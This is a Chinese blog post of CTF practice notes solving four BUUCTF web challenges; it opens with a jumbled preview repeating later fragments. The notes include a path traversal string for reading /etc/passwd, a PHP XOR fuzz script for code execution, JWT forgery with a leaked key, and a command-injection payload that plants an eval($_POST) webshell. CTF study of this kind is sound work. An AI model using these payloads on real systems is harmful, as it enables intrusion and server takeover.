刷题笔记之buu
第二个正则匹配字母、数字和ASCII(127-255)的两个字符,连续匹配多次存入数组中,再判断匹配的两位字符的字符串之后是否在白名单函数内。重新注册一个账号,查看cookie发现jwt,尝试jwt爆破,很久没结果,怀疑为密钥泄露。2.jwt伪造账号为admin,替换cookie登入后台发现flag.png,直接访问显示图片损坏,最后抓包访问得到flag。2.robots.txt发现check.p
virink_2019_files_share
1.F12查看源码发现提示flag在f1ag_Is_h3re
中,继续进入到upload目录下,发现/preview
2.利用priview?p=
进行文件包含,尝试读取/etc/passwd
,响应包显示epasswd
文件不存在,猜测是对斜杠/已经其前两位字符进行了过滤。于是使用....//....//....//....//....//....//etc..//passwd
进行读取,成功读取文件内容。
3.根据提示读取文件,显示文件不存在,猜测目录,读取f1ag_Is_h3re/flag
,成功读取flag。
NESTCTF 2019 Love Math 2
1.代码审计,第一个正则过滤中括号和空白符如换行、制表和空格等。第二个正则匹配字母、数字和ASCII(127-255)的两个字符,连续匹配多次存入数组中,再判断匹配的两位字符的字符串之后是否在白名单函数内。
2.这题关键就是如何RCE,首先第一个正则过滤可以用传参来绕过,第二个正则就是构造传参的关键。它虽然匹配字符,但是符号^、|、.等却没有过滤,也就意味着我们可以使用数学函数配合位运算来尝试构造$_GET
或$_POST
进行传参。
3.到构造这里属实是不会了,只能拿出别的师傅的fuzz脚本了。
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}
4.最后拿生成的结果进行拼接,[]用{}替换即可。
[RootersCTF2019]ImgXweb
1.注册admin,提示已被注册。重新注册一个账号,查看cookie发现jwt,尝试jwt爆破,很久没结果,怀疑为密钥泄露。于是目录扫描发现robots.txt,得到密钥you-will-never-guess
。
2.jwt伪造账号为admin,替换cookie登入后台发现flag.png,直接访问显示图片损坏,最后抓包访问得到flag。
[羊城杯 2020]Easyphp2
1.进去就发现了任意文件读取,base64过滤器被过滤可以使用convert.quoted-printable-encode
来替换输出源码。
2.robots.txt发现check.php,访问得到pass,然后进行cookie替换。
3.代码审计,就是一个简单的命令执行然后拼接,注意过滤。payload:'|echo "<?= eval(\$_POST[0])?>" >/var/www/html/guangji.php|'
。
4.蚁剑连接,查找flag在GZHT中system的目录下,无法访问应该是权限不够。在GZHT下有个README文件,读取发现是密码的hash值,解密得到密码为GWHTCTF
,利用密码登录即可获得flag。
更多推荐
所有评论(0)